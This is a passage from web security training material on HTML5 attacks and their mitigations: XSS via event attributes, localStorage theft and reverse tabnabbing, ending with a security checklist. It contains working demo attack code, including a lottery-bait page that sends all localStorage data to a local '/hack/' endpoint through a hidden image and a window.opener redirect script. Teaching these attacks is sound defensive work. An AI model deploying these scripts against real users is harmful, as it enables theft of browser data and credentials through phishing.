browsers. This library strip out dangerous HTML and prevents XSS attacks by sanitizing the HTML
code. On feeding string full of dirty HTML code to this library returns a string with clean HTML. Many
security experts have already reviewed this library and identified that it is the recommended library for
HTML sanitization.
To use this library on the website, just include it as shown below.

1. <script type="text/javascript" src="dist/purify.min.js"></script>

Any dirty code can be sanitized using the below method.

1. var clean = DOMPurify.sanitize(dirty);

Using document.write() method or using innerHTML property, the resulting HTML code can be written
into DOM.
It is very important to identify a suitable sanitizer library for securing your application.

Demo : HTML5 Attributes & Event Vulnerabilities


Highlights:
To understand vulnerabilities in HTML5 attributes and events and their mitigations
Problem Statement:
Creating a web page that is prone to HTML injection and misusing the HTML5 attributes and events to
carry out XSS attacks and mitigating it by using HTML sanitizer.

Download the HTML5 Attributes & Event Vulnerabilities demo from here.
Demo Steps
Attack
Step 1: Below is the code of FilmyGossip.html page

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <title>FilmyGossip</title>
8. </head>
9.
10. <body>
11. <h1 id="heading"> Welcome to FilmyGossip </h1>
12. <br>
13. <div id="container">
14. <h2 id="title">
15. <u>Submit Review</u>
16. </h2>
17. <br>
18. <div id="reviewBox">
19. <label for="" style="font-weight:bold">Movie Name:</label>
20. <br>
21. <textarea name="name" id="name" cols="110" rows="1"></textarea>
22. <br>
23. <label for="" style="font-weight:bold"> Summarize your experience in a few
words</label>
24. <br>
25. <textarea name="review" id="review" cols="110" rows="5"></textarea>
26. <br>
27. <button onclick="submitReview()">submit</button>
28. <p id="content"></p>
29. </div>
30. </div>
31. </div>
32. <hr>
33. <footer>
34. <p>FilmyGossip
35. <span> &copy; 2019</span>
36. </p>
37. <p>
38. <u>Contact Us:</u>
39. </p>
40. <p>Mail Id: [email protected]</p>
41. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website
42. **
43. </footer>
44.
45. <script>
46. function submitReview() {
47. var str = "Review submitted for movie " + document.getElementById("name").value;
48. document.getElementById("content").innerHTML = str;
49. }
50. </script>
51. </body>
52. </html>
In Lines 47-48 the data is retrieved from the element with id 'name' and injected into the element with
id 'content' using the innerHTML() method
Step 2: Open FilmyGossip.html page in a browser and insert the anchor tag "<a href="#"
onmouseover="hacked">Avengers</a>" in movie name field.

Step 3: Click on submit and analyze the attack.

Malicious script is injected via onmouseover event.


Now let us mitigate this scenario by using DOMPurify which is an XSS sanitizer for HTML.
Step 4: Below is the code snippet of FilmyGossip.html under the mitigation folder

1. <script type="text/javascript" src="/apis/authContent/content-


store/Infosys/Infosys_Ltd/Public/lex_auth_012783013032542208510/web-
hosted/assets/./dist/purify.min.js"></script>
2. <script>
3. function submitReview() {
4. var str = "Review submitted for movie " + document.getElementById("name").value;
5. var clean = DOMPurify.sanitize(str);
6. document.getElementById("content").innerHTML = clean;
7. }
8. </script>

In Line 5 sanitize() method is used to sanitize the HTML content.


Step 5: Open MovieGossip.html in a browser and analyze the output.
Local Storage Vulnerabilities
Local Storage
In our web applications, we often store some data in the browser cache. As the data is stored at the
client-side, there is a chance of data-stealing by injecting some malicious code, if no proper care is
taken. Let us now see how to store the data properly to prevent such attacks.
HTML5 has introduced Web storage or offline storage which deals with storing data in a local cache.
Data can be stored using two types of objects in HTML5. Local storage and Session storage. These
storages hold data in the form of key-value pairs.
Local storage holds the data in the browser cache until the user deletes it or it expires based on the
expiry date given. setItem() method is used to assign data to local storage. The below code creates three
items with names bgcolor, textcolor, fontsize and assigns the values to them.

1. localStorage.setItem("bgcolor", document.getElementById("bgcolor").value);
2. localStorage.setItem("textcolor", document.getElementById("textcolor").value);
3. localStorage.setItem("fontsize", document.getElementById("fontsize").value);

getItem() method is used to fetch values from local storage. Below is the code to retrieve values from
localStorage.

1. document.getElementById("page").style.backgroundColor = localStorage.getItem("bgcolor");
2. document.getElementById("page").style.color = localStorage.getItem("textcolor");
3. document.getElementById("page").style.fontSize = localStorage.getItem("fontsize");

Users can view the storage data in the browser by pressing F12 as shown below:

Similarly, session storage holds the data until the session ends or the browser/tab is closed.
An attacker can inject some malicious code and can steal the data stored here. So we should always
ensure that sensitive information is not stored at the client side.
Let us now understand how to mitigate local storage vulnerability.
Mitigation Techniques:
1. Never store sensitive information on client-side
2. Use cookies with the 'httponly' flag to protect the data stored at the client-side
Cookies
A cookie is a piece of data that is stored in the user's browser. It can store a maximum of 4 KB of data
in the browser. Data in cookies are stored as key-value pairs.
Example of a cookie:

1. userName=Smith; expires=Mon, 15 Oct 2018 23:00:00 GMT;


2. key: userName
3. value: Smith
4. expires: Mon, 15 Oct 2018 23:00:00 GMT;
5. path: \

To create a cookie we can use document.cookie property.

1. document.cookie = cookieValue;

cookieValue is a string in key-value pairs. For example, a cookie to store username and password can
be created as below

1. document.cookie = "username = Smith;password = secret";

In the above code snippet username and password are keys, Smith and secret are their corresponding
values.
Below is the syntax of setting a cookie in the HTTP response header:

1. Set-Cookie: <name>=<value>[;<Max-
Age>=<age>][;expires=<date>][;domain=<domain_name>][;path=<some_path>][;secure][;H
ttpOnly]

Now let us see a demo on how to inject malicious code to steal local storage data and its mitigation.
Demo : Local Storage Vulnerabilities
Highlights:
To implement an attack on local storage data in a browser and its mitigation.
Problem Statement:
Implementing an attack on the local storage data stored by the vulnerable web application.

Download the demo of Local Storage Vulnerabilities from here.


Demo Steps
Website
Step 1: Below is the code for MovieGossip.html

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-
awesome/4.7.0/css/font-awesome.min.css">
8. <title>FilmyGossip</title>
9. </head>
10.
11. <body id="page">
12. <h1 id="heading"> Welcome to FilmyGossip </h1>
13. <div id="search">
14. <form method="GET" action="details.html">
15. <input type="text" placeholder="Search for a movie" name="movie">
16. <button type="submit">
17. <i class="fa fa-search"> </i>
18. </button>
19. </form>
20. </div>
21. <br>
22. <div id="container">
23. <h2 id="title">
24. <u>Customize the Website</u>
25. </h2>
26. <div id="customize">
27. <form action="home.html" method="POST">
28. <input type="text" id="bgcolor" name="bgcolor" placeholder="Enter background
color">
29. <input type="text" id="textcolor" name="textcolor" placeholder="Enter text
color">
30. <input type="text" id="fontsize" name="fontsize" placeholder="Enter font size in
px">
31. <button onclick="applyStyles()" type="button">Apply</button>
32. <button type="submit">Home Page</button>
33. </form>
34. </div>
35. </div>
36. <hr>
37. <footer>
38. <p>FilmyGossip
39. <span> &copy; 2019</span>
40. </p>
41. <p>
42. <u>Contact Us:</u>
43. </p>
44. <p>Mail Id: [email protected]</p>
45. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website
46. **
47. </footer>
48. <script>
49. function applyStyles() {
50. document.getElementById("page").style.backgroundColor =
document.getElementById("bgcolor").value;
51. document.getElementById("page").style.color =
document.getElementById("textcolor").value;
52. document.getElementById("page").style.fontSize =
document.getElementById("fontsize").value;
53. localStorage.setItem("bgcolor", document.getElementById("bgcolor").value);
54. localStorage.setItem("textcolor", document.getElementById("textcolor").value);
55. localStorage.setItem("fontsize", document.getElementById("fontsize").value);
56. }
57. </script>
58. </body>
59. </html>

In Lines 53-55, the user choice of styles is stored in the local storage.
Step 2: Below is the code for the home.html page

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-
awesome/4.7.0/css/font-awesome.min.css">
8. <title>FilmyGossip</title>
9. </head>
10.
11. <body id="page">
12. <h1 id="heading"> Welcome to FilmyGossip </h1>
13. <div id="search">
14. <form method="GET" action="details.html">
15. <input type="text" placeholder="Search for a movie" name="movie">
16. <button type="submit">
17. <i class="fa fa-search"> </i>
18. </button>
19. </form>
20. </div>
21. <br>
22. <div id="container">
23. <h2 id="title">
24. <u>About FilmyGossip</u>
25. </h2>
26. <br>
27. <p>
28. FilmyGossip provides you the trendy updates and reviews of latest Movies. You can
register with us to get the feed in your
29. mail.
30. <br>
31. <button>Register</button>
32. </p>
33. </div>
34. <hr>
35. <footer>
36. <p>FilmyGossip
37. <span> &copy; 2019</span>
38. </p>
39. <p>
40. <u>Contact Us:</u>
41. </p>
42. <p>Mail Id: [email protected]</p>
43. <p id="footer">** disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website
44. **
45. </footer>
46. <script>
47. document.getElementById("page").style.backgroundColor =
localStorage.getItem("bgcolor");
48. document.getElementById("page").style.color = localStorage.getItem("textcolor");
49. document.getElementById("page").style.fontSize =
localStorage.getItem("fontsize")+"px";
50. </script>
51. </body>
52. </html>

In Lines 47-49, the data stored in local storage is retrieved.


Step 3: Open the FilmyGossip.html page in a browser. This page will take user inputs and customize
the styling.

Attack
Now let's see how hackers can steal the values from local storage.
Step 4: Below is the server-side code written using Express Framework (app.js)

1. var express = require("express");


2. var fs = require('fs');
3. var app = express();
4. app.get("/hack/:data", (req, res) => {
5. fs.writeFileSync("data.txt", req.params.data);
6. res.send(req.params.data);
7. })
8. app.listen(3000);

In line7, the data gets stored into a data.txt file


Step 5: Execute the app.js file as shown below
Step 6: Below is the attacker's code to steal the local storage data (attack.html)

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="attack.css">
7. <title>attack</title>
8. </head>
9.
10. <body>
11. <div>
12. <h1>Congratulations!! You win the lottery !!!!!</h1>
13. <h2>You are the 1000
14. <sup>th</sup> visitor</h2>
15. <br>
16. <br>
17. <p style="color:gray">Please mail to: [email protected] to collect your gift</p>
18. </div>
19. <img id="image" alt="" hidden>
20. <script>
21. var arr = [];
22. if (localStorage.length) {
23. for (i in localStorage) {
24. arr.push(i + ":" + localStorage.getItem(i));
25. }
26. }
27. document.getElementById("image").src = "http://localhost:3000/hack/" + arr
28. </script>
29. </body>
30. </html>

In lines 21-27, the data is fetched from the local storage, and get request is made to the URL
'http://localhost:3000/hack/:data' by misusing the src property of the image tag.
Step 7: Open the attack.html page in a browser. Once the page is opened all the LocalStorage values
get populated to the data.txt file.

Generally, the attacker sends the link to the malicious website via mail or any other means and once the
user opens the link all the local storage values will get populated to the attacker's website.
Reverse Tabnabbing
Let us now see another type of attack possible in web applications called reverse tabnabbing.
Reverse Tabnabbing is an attack where the linked page can control the parent page and can rewrite
it without the notice of the original user. The changed page looks similar to the original one. This may
lead to one form of phishing attack where an attacker can steal authentication data or any sensitive
information from the user. This attack is mostly possible if a user is in an unsecured network like a
public wifi hotspot. It is also possible if the user URL has HTTPS, an attacker has to spoof only the site
that is being linked to.
Let us understand this attack by an example:
Consider a message forum or a blog where an attacker can post his own website link. If any user visits
that link will be shown some information but in the background that malicious website will redirect the
parent login page to a fake page that looks similar to the original login page. When a user comes back
to the message forum, they appear to be logged out. Without thinking they will enter their credentials
to log in as the page looks similar to the original one. Now the attacker can get hold of that
authentication data. Now the user will be redirected to the message forum page automatically so that
they won't get a doubt that they have entered credentials in a fake login page.
When does reverse tabnabbing attack occur?
This attack is possible in two scenarios:
1. If a website is using a hyperlink with a target attribute in which if the user clicks that link the new
page will be loaded in a new window/tab keeping the current page opened in the original tab.

1. <a href="example.html" target="_blank">Click here to win a lottery</a>

2. If a website is using a window.open javascript function

1. <button onclick="window.open('example.html')">Click here to win a lottery</button>

Following is the malicious script which will run behind the scenes when a user clicks the above
hyperlink or button:

1. <script>
2. if (window.opener) {
3. window.opener.location = "../attack.html";
4. }
5. </script>

As we have understood the reverse tabnabbing attack, let us understand the mitigation technique.
Reverse Tabnabbing Mitigation Techniques
1. If a hyperlink is used with a target attribute, use the below attribute

1. <a href="example.com" target="_blank" rel="noopener noreferrer">Click here to win a


lottery</a>

noopener option informs the browser not to make the opener object available to the linked website. As
this option is not supported by a few older browsers, we should also include the noreferrer option as
well. The noreferrer option tells the browser not to make any referrer information available to the linked
website.
2. If we don't want to set opener and referrer options for every hyperlink, we can set this as an HTTP
header in all responses.

1. Referrer-Policy: no-referrer

3. If the window.open function is used, use 'noopener, noreferrer' in the third


parameter(windowfeatures) of it.
1. function openWindow(url, name, options){
2. // Set opener and referrer options
3. var newWindow = window.open(null, name, 'noopener,noreferrer,'+options);
4. //Reset the opener link
5. newWindow.opener = null;
6. // Load the correct url
7. newWindow.location = url;
8. }

As you observe, we need to set the URL only after clearing the opener to prevent the attack. If we use
the URL in the window.open function directly, it will be opened in a new tab/window which will open
space for attacks.

Demo : Reverse Tabnabbing


Highlights:
To implement a reverse attack and its mitigation.
Problem Statement:
Assume that attacker injected some malicious script in a vulnerable website to carry on the
reverse tabnabbing attack. In this attack when a valid user clicks any link then the content in the parent
tab gets replaced.

Download the demo of Reverse Tabnabbing from here.


Demo Steps:
Attack
Step 1: Below is the code for the FilmyGossip.html page present under the website folder

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-
awesome/4.7.0/css/font-awesome.min.css">
8. <title>FilmyGossip</title>
9.
10. </head>
11.
12. <body id="page">
13. <h1 id="heading"> Welcome to FilmyGossip </h1>
14. <div id="search">
15. <form method="GET" action="details.html">
16. <input type="text" placeholder="Search for a movie" name="movie">
17. <button type="submit">
18. <i class="fa fa-search"> </i>
19. </button>
20. </form>
21. </div>
22. <br>
23. <div id="container">
24. <h2 id="title">
25. <u>Customize the Website</u>
26. <span>
27. <a href="home.html" target="_blank">Home</a>
28. </span>
29. </h2>
30. <br>
31. <br>
32. <div id="customize">
33. <input type="text" id="bgcolor" placeholder="Enter background color">
34. <input type="text" id="textcolor" placeholder="Enter text color">
35. <input type="text" id="fontsize" placeholder="Enter font size in px">
36. <button onclick="applyStyles()">Apply</button>
37. </div>
38. </div>
39. <hr>
40. <footer>
41. <p>FilmyGossip
42. <span> &copy; 2019</span>
43. </p>
44. <p>
45. <u>Contact Us:</u>
46. </p>
47. <p>Mail Id: [email protected]</p>
48. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website
49. **
50. </footer>
51. <script>
52. function applyStyles() {
53. document.getElementById("page").style.backgroundColor =
document.getElementById("bgcolor").value;
54. document.getElementById("page").style.color =
document.getElementById("textcolor").value;
55. document.getElementById("page").style.fontSize =
document.getElementById("fontsize").value;
56. localStorage.setItem("bgcolor", document.getElementById("bgcolor").value);
57. localStorage.setItem("textcolor", document.getElementById("textcolor").value);
58. localStorage.setItem("fontsize", document.getElementById("fontsize").value);
59. }
60. </script>
61. </body>
62. </html>
In line27, a hyperlink is provided to open the home.html page in a new tab.
Step 2: Below is the code for the home.html page

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-
awesome/4.7.0/css/font-awesome.min.css">
8. <title>FilmyGossip</title>
9.
10. </head>
11.
12. <script>
13. if (window.opener) {
14. window.opener.location = "../attack.html";
15. }
16. </script>
17.
18. <body id="page">
19. <h1 id="heading"> Welcome to FilmyGossip </h1>
20. <div id="search">
21. <form method="GET" action="details.html">
22. <input type="text" placeholder="Search for a movie" name="movie">
23. <button type="submit">
24. <i class="fa fa-search"> </i>
25. </button>
26. </form>
27. </div>
28. <br>
29. <div id="container">
30. <h2 id="title">
31. <u>Customize the Website</u>
32. <span>
33. <a href="home.html" target="_blank">Home</a>
34. </span>
35. </h2>
36. <br>
37. <p>
38. FilmyGossip provides you the trendy updates and reviews of latest Movies. You can
register with us to get the feed in your
39. mail.
40. <br>
41. <button>Register</button>
42. </p>
43. </div>
44.
45. <hr>
46. <footer>
47. <p>FilmyGossip
48. <span> &copy; 2019</span>
49. </p>
50. <p>
51. <u>Contact Us:</u>
52. </p>
53. <p>Mail Id: [email protected]</p>
54. <p id="footer">** disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website
55. **
56. </footer>
57. <script>
58. document.getElementById("page").style.backgroundColor =
localStorage.getItem("bgcolor");
59. document.getElementById("page").style.color = localStorage.getItem("textcolor");
60. document.getElementById("page").style.fontSize = localStorage.getItem("fontsize");
61. </script>
62.
63. </body>
64. </html>

Let us assume that the attacker injected a malicious script (Line 12-16) into home.html.
Step 3: Open the FilmyGossip.html page in a browser.

Step 4: When the user clicks the "Home" hyperlink, it opens the Home.html page in a new tab.
Behind the scenes, malicious code in the home.html page opens the attacker's web page in the
previous tab. So when the user goes back to the FilmyGossip tab (now Document tab), the page
content gets replaced with the attacker's code. If the user gives any valid values in that replaced page
then those values get populated to the attacker's website.

Mitigation:
Now let's mitigate the above scenario by adding the rel attribute to the anchor tag.
Step 5: Below is the code snippet for FilmyGossip.html under the website folder

1. <span>
2. <a href="home.html" rel="noopener noreferrer" target="_blank">Home</a>
3. </span>

Now even if the user clicks the hyperlink and comes back to the original tab, the page content will not
get replaced.

HTML Security Checklist


Security checklist and defensive techniques
Every web developer will be using HTML for creating web pages.
Let us understand the security best practices that the developer should follow during HTML coding to
create a secure web application.
 Do not just rely on client-side validation
o HTML5 provide features to perform client-side validation. But do not just rely on the
client-side validation, ensure that validation is performed on the server-side as well for
sensitive actions like authentication.
 Sanitize user inputs
o Any input from the user is to be assumed as untrusted. Proper sanitization of input data
provides protection from different kinds of attacks like HTML Injection, etc.
 Use the attributes "noopener" and "noreferrer" whenever a link is provided to open in a new
tab.
o <a href="https://www.mysite.com" target="_blank" rel="noopener
noreferrer">Mysite</a>
 The "noopener" attribute instructs the browser not to grant the browsing
context access to the document that opened its new link.
 The "noreferrer" attribute prevents the browser from sending the page address,
or any other value, as the referrer when navigating to another page.
 Use the sandbox attribute of an iframe
o Make sure to add the "sandbox" attribute to the iFrame feature of HTML5 as it provides
additional restrictions to the content.
 Eliminate comments from the final code
o Use comments only for documentation purposes. Avoid the usage of comments to store
sensitive information in the HTML as it is entirely visible. Any unwanted comment is
to be removed before the production build. Modern browsers can inspect the
commented code and sensitive information can be retrieved.
 Refer to the latest security news
o Keep checking the latest news in the security area as the internet is growing and new
security features and techniques may get implemented every day.
 Use a Content Security Policy (CSP)
o With the aim of protecting the application from potential dangers, use a Content
Security Policy to delimit the assets that are permissible to be added to the application
o To ensure including the media in a secure way,
 use the CSP directive img-src to load images from valid sources
 use the CSP directive media-src to load audio and video from valid sources
 Use web storage judiciously.
o Avoid storing sensitive data in the web storage since it is stored in the browser.
 Use safe methods.
o Know about safe methods in a language/technology and use them for secure
coding. For example, using innerText or textContent property is safe instead of
innerHTML in JavaScript.
 Implement CORS Policy
o Implement CORS policy to allow access to the application services.

You might also like